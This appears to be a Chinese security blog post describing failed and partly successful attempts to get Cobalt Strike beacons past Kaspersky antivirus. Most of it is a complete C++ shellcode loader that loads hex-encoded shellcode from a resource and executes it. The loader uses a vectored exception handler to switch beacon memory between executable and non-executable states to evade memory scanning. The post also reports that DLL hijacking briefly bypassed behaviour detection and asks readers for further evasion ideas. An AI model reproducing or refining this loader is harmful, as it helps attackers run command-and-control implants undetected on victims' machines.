由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
前言
卡巴斯基是一个全球知名的杀毒软件,之前没有对卡巴斯基免杀做过尝试,一个原因是因为国内使用卡巴斯基的用户没有那么多,另一个就是听说卡巴斯基杀软特别难绕过。这一次就是针对卡巴斯基尝试一系列免杀,分享一些失败和不算太成功的经验,希望对大家有用,也希望各位师傅可以针对免杀卡巴斯基提一些建议和思路。
免杀尝试过程
首先尝试了之前写的loader,包括aes算法、栅栏密码,可以过卡巴斯基静态查杀,但是上线几秒钟后,卡巴斯基行为检测查杀了这些马,如下
cs的profile文件配置如下,使用的是catcs4.5版本,设置了sleep_mask,用于启用内存混淆,使 Beacon 在每次 sleep 之前都混淆自己所在的内存区域,并在 sleep 结束后解混淆。
尝试了cs的不同版本cat4.5、cs4.7、cs4.9,均无法躲避卡巴的行为检测,之后又尝试了VEH异常和inline hook动态修改内存属性,代码如下
// 全局变量声明
LPVOID Beacon_address; // Beacon内存地址
SIZE_T Beacon_data_len; // Beacon内存长度
DWORD Beacon_Memory_address_flOldProtect; // Beacon内存属性
HANDLE hEvent; // 事件句柄
BOOL Vir_FLAG = TRUE; // 感染标记
LPVOID shellcode_addr; // shellcode内存地址
// 原始函数指针声明
using VirtualAllocFunc = LPVOID(WINAPI*)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
using SleepFunc = VOID(WINAPI*)(DWORD dwMilliseconds);
// 指向原始函数的指针
VirtualAllocFunc OriginalVirtualAlloc = VirtualAlloc;
SleepFunc OriginalSleep = Sleep;
// Hooked VirtualAlloc
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
LPVOID allocatedMemory = OriginalVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
if (allocatedMemory) {
Beacon_data_len = dwSize;
Beacon_address = allocatedMemory;
printf("Memory Allocation Size: %lldn", Beacon_data_len);
printf("Memory Allocation Address: %pn", Beacon_address);
}
return allocatedMemory;
}
// Hooked Sleep
void WINAPI NewSleep(DWORD dwMilliseconds) {
if (Vir_FLAG) {
printf("Free Memory Address: %pn", shellcode_addr);
VirtualFree(shellcode_addr, 0, MEM_RELEASE);
Vir_FLAG = false;
}
printf("The time of Sleep: %dn", dwMilliseconds);
SetEvent(hEvent);
}
// 判断异常代码的地址是否在Beacon内存的范围之内
BOOL is_Exception(DWORD64 Exception_addr) {
if (Exception_addr >= (DWORD64)Beacon_address && Exception_addr < (DWORD64)Beacon_address + Beacon_data_len) {
printf("The Exception Address is a match: %llxn", Exception_addr);
return true;
}
printf("The Exception Address not a match: %llxn", Exception_addr);
return false;
}
// 定义VEH的异常处理函数
LONG NTAPI VectoredExceptionHandler(PEXCEPTION_POINTERS pExcepInfo) {
printf("VectoredExceptionHandlern");
printf("The Exception Code is :%xn", pExcepInfo->ExceptionRecord->ExceptionCode);
printf("The Thread Address is :%llxn", pExcepInfo->ContextRecord->Rip);
if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(pExcepInfo->ContextRecord->Rip)) {
printf("Modify the memory attribute to executablen");
VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
// 线程函数,用于将Beacon的内存属性设置为可读写,即去掉可执行权限
DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter) {
while (true) {
WaitForSingleObject(hEvent, INFINITE);
printf("Set Beacon memory attribute unexecutablen");
VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE, &Beacon_Memory_address_flOldProtect);
ResetEvent(hEvent);
}
return 0;
}
// 将十六进制中的单个字符转换为相应的整数值
unsigned char hexCharToByte(char character) {
if (character >= '0' && character <= '9') {
return character - '0';
}
if (character >= 'a' && character <= 'f') {
return character - 'a' + 10;
}
if (character >= 'A' && character <= 'F') {
return character - 'A' + 10;
}
return 0;
}
bool doesFileExist(const string& fileName) {
ifstream file(fileName);
return file.good();
}
// 将十六进制字符串转换成字节型数组
void hexStringToBytes(const std::string& hexString, unsigned char* byteArray, int byteArraySize) {
for (int i = 0; i < hexString.length(); i += 2) {
byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]);
}
}
int main() {
if (!doesFileExist("1.txt")) {
cout <<"1.txt文件不存在,程序退出" << endl;
return 1; // 返回非零值表示程序异常退出
}
hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); // 创建事件(一开始无信号)
AddVectoredExceptionHandler(1, &VectoredExceptionHandler); // 添加异常处理函数
// 创建线程
HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);
CloseHandle(hThread1);
// 从资源加载shellcode
HRSRC hResource = FindResource(NULL, MAKEINTRESOURCE(IDR_TEXT1), RT_RCDATA);
if (hResource != NULL) {
HGLOBAL hGlobal = LoadResource(NULL, hResource);
if (hGlobal != NULL) {
const char* resourceData = (const char*)LockResource(hGlobal);
DWORD resourceSize = SizeofResource(NULL, hResource);
if (resourceData != NULL && resourceSize > 0) {
// 将资源内容转换为字符串
string contents(resourceData, resourceData + resourceSize);
size_t size = contents.length() / 2; // 由于两个十六进制相当于一个字节,文件内容长度需除以2
// 为shellcode申请一块内存
shellcode_addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);
// 调用函数将十六进制字符串转换为字节型数组
hexStringToBytes(contents, (unsigned char*)shellcode_addr, size);
// 修改内存属性为可读写
VirtualProtect(shellcode_addr, size, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);
// 执行shellcode
(*(int(*)())shellcode_addr)();
}
}
}
return 0;
}
测试可以在360核晶、火绒、defender环境上线,但还是被卡巴的行为检测识别并查杀
cs虽然上线了,但其实已经被干掉了,如下
最后又尝试了dll劫持上线,发现可以上线cs并没有被行为检测拦截如下
但是这只是短暂的免杀了,等到卡巴下一次内存扫描时依然会被干掉,如下,进行关键区域扫描
可以看到,扫描到了内存中的shellcode,还有明显cs的特征提示。到此gg!
总结
-
1、本次实验尝试使用了多种加密处理后的shellcode loader、VEH异常处理+inline hook 的shellcode loader、dll劫持上线,只有dll劫持可以绕过卡巴斯基的行为检测短时间内上线cs执行命令,等到卡巴下一次内存扫描会被识别到。
-
2、cs自带的sleep_mask属性已无法绕过卡巴斯基内存扫描。
-
3、希望各位师傅可以指点指点,提供一些免杀卡巴斯基的思路。
学习交流群
最近很多师傅问有没有群的,所以就搞了个群让大家交流技术吧,需要交流的师傅们可以加一下
点击下方名片进入公众号,欢迎关注!
往期推荐
Nuclei Fuzzer 实战指南:自动化 Web 应用安全测试的优化与实践
原文始发于微信公众号(随风安全):记一次不太成功的卡巴斯基免杀
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论